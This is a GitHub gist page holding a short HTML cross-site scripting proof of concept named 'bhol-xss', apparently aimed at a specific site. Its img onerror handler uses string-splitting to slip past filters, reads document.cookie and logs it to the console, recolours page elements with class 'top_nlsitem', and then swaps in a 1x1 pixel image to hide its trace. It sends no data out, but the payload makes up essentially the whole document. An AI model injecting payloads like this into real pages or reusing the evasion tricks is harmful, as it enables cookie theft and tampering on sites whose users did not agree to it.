Skip to content

Instantly share code, notes, and snippets.

@camelcaseblog

camelcaseblog/bhol-xss.html Secret

Last active February 14, 2022 17:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save camelcaseblog/789290b94208f0ccf5ff8eac295506a9 to your computer and use it in GitHub Desktop.
Save camelcaseblog/789290b94208f0ccf5ff8eac295506a9 to your computer and use it in GitHub Desktop.
Download ZIP
bhol-xss
Raw
bhol-xss.html
<img
id="xss-image"
src="/"
onerror="d = document;
c = ('cooki' + 'e').trim();
qs = 'queryS' + 'elector';
console.log(d[c]);
d[qs + 'All']('.top_nlsitem').forEach(n => n.style.backgroundColor = 'green');
d[qs]('#xss-image').src = 'ht' + 'tps://upload.wikimedia.org/wikipedia/commons/c/ca/1x1.png';"
/>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment